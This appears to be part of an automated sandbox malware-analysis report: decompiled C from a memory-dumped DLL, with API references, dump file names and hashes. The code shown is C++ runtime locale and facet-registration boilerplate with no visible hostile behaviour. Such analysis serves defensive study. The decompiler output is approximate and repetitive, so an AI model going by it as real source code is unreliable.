																																																										E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																																										asm("int3");
																																																										E6DD300AC(0x6dd783cf, _t606, _t816, _t836, 0x14);
																																																										E6DD16653(_t858 - 0x14, 0);
																																																										_t837 =  *0x6ddd6dd0; // 0x0
																																																										 *(_t858 - 4) =  *(_t858 - 4) & 0x00000000;
																																																										 *(_t858 - 0x10) = _t837;
																																																										_t513 = E6DCF161C(0x6ddd6d60);
																																																										_t735 =  *((intOrPtr*)(_t858 + 8));
																																																										_t817 = E6DCF171B( *((intOrPtr*)(_t858 + 8)), _t513);
																																																										__eflags = _t817;
																																																										if(_t817 != 0) {
																																																											L131:
																																																											E6DD166BA(_t858 - 0x14);
																																																											return E6DD30075(_t817);
																																																										} else {
																																																											__eflags = _t837;
																																																											if(_t837 == 0) {
																																																												_push( *((intOrPtr*)(_t858 + 8)));
																																																												_push(_t858 - 0x10);
																																																												__eflags = E6DD2162A(_t606, _t735, _t797, _t817, _t837) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													_t739 = _t858 - 0x20;
																																																													E6DCF1438(_t739);
																																																													E6DD33D74(_t858 - 0x20, 0x6ddd3504);
																																																													asm("int3");
																																																													E6DD300AC(0x6dd7851f, _t606, _t817, _t837, 4);
																																																													_t838 = _t739;
																																																													 *(_t858 - 0x10) = _t838;
																																																													 *((intOrPtr*)(_t838 + 4)) =  *((intOrPtr*)(_t858 + 0xc));
																																																													_push( *((intOrPtr*)(_t858 + 0x14)));
																																																													_t273 = _t858 - 4;
																																																													 *_t273 =  *(_t858 - 4) & 0x00000000;
																																																													__eflags =  *_t273;
																																																													 *_t838 = 0x6dd7c0c4;
																																																													 *((char*)(_t838 + 0x28)) =  *((intOrPtr*)(_t858 + 0x10));
																																																													E6DD2542F(_t606, _t739, _t797, _t817, _t838,  *_t273);
																																																													return E6DD30075(_t838,  *((intOrPtr*)(_t858 + 8)));
																																																												} else {
																																																													_t817 =  *(_t858 - 0x10);
																																																													 *(_t858 - 0x10) = _t817;
																																																													 *(_t858 - 4) = 1;
																																																													E6DD16FD3(__eflags, _t817);
																																																													 *0x6dd7a26c();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t817 + 4))))();
																																																													 *0x6ddd6dd0 = _t817;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t817 = _t837;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t816 =  *(_t858 - 0x10);
																																																										 *(_t858 - 0x10) = _t816;
																																																										 *(_t858 - 4) = 1;
																																																										E6DD16FD3(__eflags, _t816);
																																																										 *0x6dd7a26c();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t816 + 4))))();
																																																										 *0x6ddd6e00 = _t816;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t816 = _t836;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t815 =  *(_t858 - 0x10);
																																																							 *(_t858 - 0x10) = _t815;
																																																							 *(_t858 - 4) = 1;
																																																							E6DD16FD3(__eflags, _t815);
																																																							 *0x6dd7a26c();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t815 + 4))))();
																																																							 *0x6ddd6dcc = _t815;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t815 = _t835;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t814 =  *(_t858 - 0x10);
																																																				 *(_t858 - 0x10) = _t814;
																																																				 *(_t858 - 4) = 1;
																																																				E6DD16FD3(__eflags, _t814);
																																																				 *0x6dd7a26c();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t814 + 4))))();
																																																				 *0x6ddd6dfc = _t814;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t814 = _t834;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t813 =  *(_t858 - 0x10);
																																																	 *(_t858 - 0x10) = _t813;
																																																	 *(_t858 - 4) = 1;
																																																	E6DD16FD3(__eflags, _t813);
																																																	 *0x6dd7a26c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t813 + 4))))();
																																																	 *0x6ddd6de0 = _t813;
																																																	goto L103;
																																																}
																																															} else {
																																																_t813 = _t833;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t812 =  *(_t858 - 0x10);
																																														 *(_t858 - 0x10) = _t812;
																																														 *(_t858 - 4) = 1;
																																														E6DD16FD3(__eflags, _t812);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t812 + 4))))();
																																														 *0x6ddd6ddc = _t812;
																																														goto L96;
																																													}
																																												} else {
																																													_t812 = _t832;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t811 =  *(_t858 - 0x10);
																																											 *(_t858 - 0x10) = _t811;
																																											 *(_t858 - 4) = 1;
																																											E6DD16FD3(__eflags, _t811);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t811 + 4))))();
																																											 *0x6ddd6db0 = _t811;
																																											goto L89;
																																										}
																																									} else {
																																										_t811 = _t831;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t810 =  *(_t858 - 0x10);
																																								 *(_t858 - 0x10) = _t810;
																																								 *(_t858 - 4) = 1;
																																								E6DD16FD3(__eflags, _t810);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t810 + 4))))();
																																								 *0x6ddd6dd8 = _t810;
																																								goto L82;
																																							}
																																						} else {
																																							_t810 = _t830;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t809 =  *(_t858 - 0x10);
																																					 *(_t858 - 0x10) = _t809;
																																					 *(_t858 - 4) = 1;
																																					E6DD16FD3(__eflags, _t809);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t809 + 4))))();
																																					 *0x6ddd6dc4 = _t809;
																																					goto L75;
																																				}
																																			} else {
																																				_t809 = _t829;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t808 =  *(_t858 - 0x10);
																																		 *(_t858 - 0x10) = _t808;
																																		 *(_t858 - 4) = 1;
																																		E6DD16FD3(__eflags, _t808);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t808 + 4))))();
																																		 *0x6ddd6dc8 = _t808;
																																		goto L68;
																																	}
																																} else {
																																	_t808 = _t828;
																																	goto L68;
																																}
																															}
																														} else {
																															_t807 =  *(_t858 - 0x10);
																															 *(_t858 - 0x10) = _t807;
																															 *(_t858 - 4) = 1;
																															E6DD16FD3(__eflags, _t807);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t807 + 4))))();
																															 *0x6ddd6df4 = _t807;
																															goto L61;
																														}
																													} else {
																														_t807 = _t827;
																														goto L61;
																													}
																												}
																											} else {
																												_t806 =  *(_t858 - 0x10);
																												 *(_t858 - 0x10) = _t806;
																												 *(_t858 - 4) = 1;
																												E6DD16FD3(__eflags, _t806);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t806 + 4))))();
																												 *0x6ddd6df8 = _t806;
																												goto L54;
																											}
																										} else {
																											_t806 = _t826;
																											goto L54;
																										}
																									}
																								} else {
																									_t805 =  *(_t858 - 0x10);
																									 *(_t858 - 0x10) = _t805;
																									 *(_t858 - 4) = 1;
																									E6DD16FD3(__eflags, _t805);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t805 + 4))))();
																									 *0x6ddd6dc0 = _t805;
																									goto L47;
																								}
																							} else {
																								_t805 = _t825;
																								goto L47;
																							}
																						}
																					} else {
																						_t804 =  *(_t858 - 0x10);
																						 *(_t858 - 0x10) = _t804;
																						 *(_t858 - 4) = 1;
																						E6DD16FD3(__eflags, _t804);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t804 + 4))))();
																						 *0x6ddd6df0 = _t804;
																						goto L40;
																					}
																				} else {
																					_t804 = _t824;
																					goto L40;
																				}
																			}
																		} else {
																			_t803 =  *(_t858 - 0x10);
																			 *(_t858 - 0x10) = _t803;
																			 *(_t858 - 4) = 1;
																			E6DD16FD3(__eflags, _t803);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t803 + 4))))();
																			 *0x6ddd6dbc = _t803;
																			goto L33;
																		}
																	} else {
																		_t803 = _t823;
																		goto L33;
																	}
																}
															} else {
																_t802 =  *(_t858 - 0x10);
																 *(_t858 - 0x10) = _t802;
																 *(_t858 - 4) = 1;
																E6DD16FD3(__eflags, _t802);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t802 + 4))))();
																 *0x6ddd6dec = _t802;
																goto L26;
															}
														} else {
															_t802 = _t822;
															goto L26;
														}
													}
												} else {
													_t801 =  *(_t858 - 0x10);
													 *(_t858 - 0x10) = _t801;
													 *(_t858 - 4) = 1;
													E6DD16FD3(__eflags, _t801);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t801 + 4))))();
													 *0x6ddd6db8 = _t801;
													goto L19;
												}
											} else {
												_t801 = _t821;
												goto L19;
											}
										}
									} else {
										_t800 =  *(_t858 - 0x10);
										 *(_t858 - 0x10) = _t800;
										 *(_t858 - 4) = 1;
										E6DD16FD3(__eflags, _t800);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t800 + 4))))();
										 *0x6ddd6de8 = _t800;
										goto L12;
									}
								} else {
									_t800 = _t820;
									goto L12;
								}
							}
						} else {
							_t799 =  *(_t858 - 0x10);
							 *(_t858 - 0x10) = _t799;
							 *(_t858 - 4) = 1;
							E6DD16FD3(__eflags, _t799);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t799 + 4))))();
							 *0x6ddd6dd4 = _t799;
							goto L5;
						}
					} else {
						_t799 = _t819;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1F0E4
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F0EE
int.LIBCPMT ref: 6DD1F105

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

ctype.LIBCPMT ref: 6DD1F128
std::_Facet_Register.LIBCPMT ref: 6DD1F13F
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F15F
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F17D

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowctype
String ID:
API String ID: 1394824916-0
Opcode ID: ff71414eea117450f2211a75136ef797cd72564c0d6dbdabdb437cce78bb63db
Instruction ID: 01439dde6ca7fa636796bad6ea74beb298ef86e56cb6f9d4540f712e41a7aca3
Opcode Fuzzy Hash: ff71414eea117450f2211a75136ef797cd72564c0d6dbdabdb437cce78bb63db
Instruction Fuzzy Hash: 1811A076908529CBCF01FFA4DC50AFEB774EF46724F160109F614A7290DB7499058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A0FF, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1A0FF(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				intOrPtr _v8;
				void* _v16;
				char _v20;
				intOrPtr* _v24;
				char _v32;
				void* _t63;
				intOrPtr* _t64;
				void* _t76;
				void* _t89;
				void* _t102;
				intOrPtr* _t158;
				intOrPtr* _t174;
				intOrPtr* _t175;
				intOrPtr* _t176;
				void* _t178;
				intOrPtr* _t179;
				intOrPtr* _t180;
				void* _t181;

				_t171 = __edx;
				_t130 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653( &_v20, 0);
				_t178 =  *0x6ddd6cc8; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t178;
				_t63 = E6DCF161C(0x6ddd6b38);
				_t133 = _a8;
				_t64 = E6DCF171B(_a8, _t63);
				_t173 = _t64;
				if(_t64 != 0) {
					L5:
					E6DD166BA( &_v20);
					return E6DD30075(_t173);
				} else {
					if(_t178 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E6DD1A9D2(__ebx, _t133, __edx, _t173, _t178) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438( &_v32);
							E6DD33D74( &_v32, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t173, _t178, 0x14);
							E6DD16653( &_v20, 0);
							_t179 =  *0x6ddd6ccc; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t179;
							_t76 = E6DCF161C(0x6ddd6cb8);
							_t140 = _a8;
							_t174 = E6DCF171B(_a8, _t76);
							__eflags = _t174;
							if(_t174 != 0) {
								L12:
								E6DD166BA( &_v20);
								return E6DD30075(_t174);
							} else {
								__eflags = _t179;
								if(_t179 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E6DD1AA38(_t130, _t140, __edx, _t174, _t179) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438( &_v32);
										E6DD33D74( &_v32, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t130, _t174, _t179, 0x14);
										E6DD16653( &_v20, 0);
										_t180 =  *0x6ddd6cd0; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t180;
										_t89 = E6DCF161C(0x6ddd6cbc);
										_t147 = _a8;
										_t175 = E6DCF171B(_a8, _t89);
										__eflags = _t175;
										if(_t175 != 0) {
											L19:
											E6DD166BA( &_v20);
											return E6DD30075(_t175);
										} else {
											__eflags = _t180;
											if(_t180 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E6DD1AAA0(_t130, _t147, __edx, _t175, _t180) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438( &_v32);
													E6DD33D74( &_v32, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t130, _t175, _t180, 0x14);
													E6DD16653( &_v20, 0);
													_t181 =  *0x6ddd6cd4; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t181;
													_t102 = E6DCF161C(0x6ddd6cc0);
													_t154 = _a8;
													_t176 = E6DCF171B(_a8, _t102);
													__eflags = _t176;
													if(_t176 != 0) {
														L26:
														E6DD166BA( &_v20);
														return E6DD30075(_t176);
													} else {
														__eflags = _t181;
														if(_t181 == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E6DD1AB08(_t130, _t154, _t171, _t176, _t181) - 0xffffffff;
															if(__eflags == 0) {
																_t158 =  &_v32;
																E6DCF1438(_t158);
																E6DD33D74( &_v32, 0x6ddd3504);
																asm("int3");
																_push(_t158);
																 *((intOrPtr*)(_t158 + 4)) = _v8;
																_v24 = _t158;
																 *_t158 = 0x6dd7ba24;
																return _t158;
															} else {
																_t176 = _v16;
																_v16 = _t176;
																_v4 = 1;
																E6DD16FD3(__eflags, _t176);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t176 + 4))))();
																 *0x6ddd6cd4 = _t176;
																goto L26;
															}
														} else {
															_t176 = _t181;
															goto L26;
														}
													}
												} else {
													_t175 = _v16;
													_v16 = _t175;
													_v4 = 1;
													E6DD16FD3(__eflags, _t175);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t175 + 4))))();
													 *0x6ddd6cd0 = _t175;
													goto L19;
												}
											} else {
												_t175 = _t180;
												goto L19;
											}
										}
									} else {
										_t174 = _v16;
										_v16 = _t174;
										_v4 = 1;
										E6DD16FD3(__eflags, _t174);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t174 + 4))))();
										 *0x6ddd6ccc = _t174;
										goto L12;
									}
								} else {
									_t174 = _t179;
									goto L12;
								}
							}
						} else {
							_t173 = _v16;
							_v16 = _t173;
							_v4 = 1;
							E6DD16FD3(__eflags, _t173);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t173 + 4))))();
							 *0x6ddd6cc8 = _t173;
							goto L5;
						}
					} else {
						_t173 = _t178;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1A106
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A110
int.LIBCPMT ref: 6DD1A127

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

ctype.LIBCPMT ref: 6DD1A14A
std::_Facet_Register.LIBCPMT ref: 6DD1A161
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A181
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A19F

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowctype
String ID:
API String ID: 1394824916-0
Opcode ID: 3e48619e0e3860db9a3071706fd1eaaa3453b1f040e943027de28f8019d21ae8
Instruction ID: 9ddf4446616ab645e4a975ebef7bd138cd63bb3ed95626674f9ead53e36fb444
Opcode Fuzzy Hash: 3e48619e0e3860db9a3071706fd1eaaa3453b1f040e943027de28f8019d21ae8
Instruction Fuzzy Hash: 33119E719481299BCF01FBA8DC40AEDBB75EF95724F160009F510AB290DB749A4A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A059, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1A059(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				intOrPtr _v12;
				void* _v16;
				char _v20;
				intOrPtr* _v28;
				char _v32;
				void* _t77;
				intOrPtr* _t78;
				void* _t90;
				void* _t103;
				void* _t116;
				void* _t129;
				intOrPtr* _t196;
				intOrPtr* _t215;
				intOrPtr* _t216;
				intOrPtr* _t217;
				intOrPtr* _t218;
				void* _t220;
				intOrPtr* _t221;
				intOrPtr* _t222;
				intOrPtr* _t223;
				void* _t224;

				_t212 = __edx;
				_t161 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653( &_v20, 0);
				_t220 =  *0x6ddd6cd8; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t220;
				_t77 = E6DCF161C(0x6ddd6cc4);
				_t164 = _a8;
				_t78 = E6DCF171B(_a8, _t77);
				_t214 = _t78;
				if(_t78 != 0) {
					L5:
					E6DD166BA( &_v20);
					return E6DD30075(_t214);
				} else {
					if(_t220 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E6DD1A96A(__ebx, _t164, __edx, _t214, _t220) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438( &_v32);
							E6DD33D74( &_v32, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t214, _t220, 0x14);
							E6DD16653( &_v20, 0);
							_t221 =  *0x6ddd6cc8; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t221;
							_t90 = E6DCF161C(0x6ddd6b38);
							_t171 = _a8;
							_t215 = E6DCF171B(_a8, _t90);
							__eflags = _t215;
							if(_t215 != 0) {
								L12:
								E6DD166BA( &_v20);
								return E6DD30075(_t215);
							} else {
								__eflags = _t221;
								if(_t221 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E6DD1A9D2(_t161, _t171, __edx, _t215, _t221) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438( &_v32);
										E6DD33D74( &_v32, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t161, _t215, _t221, 0x14);
										E6DD16653( &_v20, 0);
										_t222 =  *0x6ddd6ccc; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t222;
										_t103 = E6DCF161C(0x6ddd6cb8);
										_t178 = _a8;
										_t216 = E6DCF171B(_a8, _t103);
										__eflags = _t216;
										if(_t216 != 0) {
											L19:
											E6DD166BA( &_v20);
											return E6DD30075(_t216);
										} else {
											__eflags = _t222;
											if(_t222 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E6DD1AA38(_t161, _t178, __edx, _t216, _t222) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438( &_v32);
													E6DD33D74( &_v32, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t161, _t216, _t222, 0x14);
													E6DD16653( &_v20, 0);
													_t223 =  *0x6ddd6cd0; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t223;
													_t116 = E6DCF161C(0x6ddd6cbc);
													_t185 = _a8;
													_t217 = E6DCF171B(_a8, _t116);
													__eflags = _t217;
													if(_t217 != 0) {
														L26:
														E6DD166BA( &_v20);
														return E6DD30075(_t217);
													} else {
														__eflags = _t223;
														if(_t223 == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E6DD1AAA0(_t161, _t185, _t212, _t217, _t223) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438( &_v32);
																E6DD33D74( &_v32, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t161, _t217, _t223, 0x14);
																E6DD16653( &_v20, 0);
																_t224 =  *0x6ddd6cd4; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t224;
																_t129 = E6DCF161C(0x6ddd6cc0);
																_t192 = _a8;
																_t218 = E6DCF171B(_a8, _t129);
																__eflags = _t218;
																if(_t218 != 0) {
																	L33:
																	E6DD166BA( &_v20);
																	return E6DD30075(_t218);
																} else {
																	__eflags = _t224;
																	if(_t224 == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E6DD1AB08(_t161, _t192, _t212, _t218, _t224) - 0xffffffff;
																		if(__eflags == 0) {
																			_t196 =  &_v32;
																			E6DCF1438(_t196);
																			E6DD33D74( &_v32, 0x6ddd3504);
																			asm("int3");
																			_push(_t196);
																			 *((intOrPtr*)(_t196 + 4)) = _v12;
																			_v28 = _t196;
																			 *_t196 = 0x6dd7ba24;
																			return _t196;
																		} else {
																			_t218 = _v16;
																			_v16 = _t218;
																			_v4 = 1;
																			E6DD16FD3(__eflags, _t218);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t218 + 4))))();
																			 *0x6ddd6cd4 = _t218;
																			goto L33;
																		}
																	} else {
																		_t218 = _t224;
																		goto L33;
																	}
																}
															} else {
																_t217 = _v16;
																_v16 = _t217;
																_v4 = 1;
																E6DD16FD3(__eflags, _t217);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t217 + 4))))();
																 *0x6ddd6cd0 = _t217;
																goto L26;
															}
														} else {
															_t217 = _t223;
															goto L26;
														}
													}
												} else {
													_t216 = _v16;
													_v16 = _t216;
													_v4 = 1;
													E6DD16FD3(__eflags, _t216);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t216 + 4))))();
													 *0x6ddd6ccc = _t216;
													goto L19;
												}
											} else {
												_t216 = _t222;
												goto L19;
											}
										}
									} else {
										_t215 = _v16;
										_v16 = _t215;
										_v4 = 1;
										E6DD16FD3(__eflags, _t215);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t215 + 4))))();
										 *0x6ddd6cc8 = _t215;
										goto L12;
									}
								} else {
									_t215 = _t221;
									goto L12;
								}
							}
						} else {
							_t214 = _v16;
							_v16 = _t214;
							_v4 = 1;
							E6DD16FD3(__eflags, _t214);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t214 + 4))))();
							 *0x6ddd6cd8 = _t214;
							goto L5;
						}
					} else {
						_t214 = _t220;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1A060
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A06A
int.LIBCPMT ref: 6DD1A081

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

codecvt.LIBCPMT ref: 6DD1A0A4
std::_Facet_Register.LIBCPMT ref: 6DD1A0BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A0DB
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A0F9

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvt
String ID:
API String ID: 2594415655-0
Opcode ID: 6108dd0147c7e8758d123b7963539c3865bf45c372f251b6815ffbac4ffd44ea
Instruction ID: 0e85e48170ba163563a2aa4a9a01605fa25f128d9b5a9aefbd950164e5112972
Opcode Fuzzy Hash: 6108dd0147c7e8758d123b7963539c3865bf45c372f251b6815ffbac4ffd44ea
Instruction Fuzzy Hash: 05119E7294812ACBCF01FBA8DC40AEDB774EF85724F164009F614A7290DB749A0A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F037, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F037(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t293;
				signed int _t294;
				void* _t306;
				void* _t319;
				void* _t332;
				void* _t345;
				void* _t358;
				void* _t371;
				void* _t384;
				void* _t397;
				void* _t410;
				void* _t423;
				void* _t436;
				void* _t449;
				void* _t462;
				void* _t475;
				void* _t488;
				void* _t501;
				void* _t514;
				void* _t527;
				void* _t540;
				signed int _t777;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				signed int _t859;
				signed int _t861;
				signed int _t862;
				signed int _t863;
				signed int _t864;
				signed int _t865;
				signed int _t866;
				signed int _t867;
				signed int _t868;
				signed int _t869;
				signed int _t870;
				signed int _t871;
				signed int _t872;
				signed int _t873;
				signed int _t874;
				signed int _t875;
				signed int _t876;
				signed int _t877;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				void* _t902;

				_t838 = __edx;
				_t637 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t902 - 0x14, 0);
				_t861 =  *0x6ddd6db4; // 0x0
				 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
				 *(_t902 - 0x10) = _t861;
				_t293 = E6DCF161C(0x6ddd6d68);
				_t640 =  *((intOrPtr*)(_t902 + 8));
				_t294 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t293);
				_t840 = _t294;
				if(_t294 != 0) {
					L5:
					E6DD166BA(_t902 - 0x14);
					return E6DD30075(_t840);
				} else {
					if(_t861 == 0) {
						_push( *((intOrPtr*)(_t902 + 8)));
						_push(_t902 - 0x10);
						__eflags = E6DD20DA5(__ebx, _t640, __edx, _t840, _t861) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t902 - 0x20);
							E6DD33D74(_t902 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t840, _t861, 0x14);
							E6DD16653(_t902 - 0x14, 0);
							_t862 =  *0x6ddd6dd4; // 0x0
							 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
							 *(_t902 - 0x10) = _t862;
							_t306 = E6DCF161C(0x6ddd6b28);
							_t647 =  *((intOrPtr*)(_t902 + 8));
							_t841 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t306);
							__eflags = _t841;
							if(_t841 != 0) {
								L12:
								E6DD166BA(_t902 - 0x14);
								return E6DD30075(_t841);
							} else {
								__eflags = _t862;
								if(_t862 == 0) {
									_push( *((intOrPtr*)(_t902 + 8)));
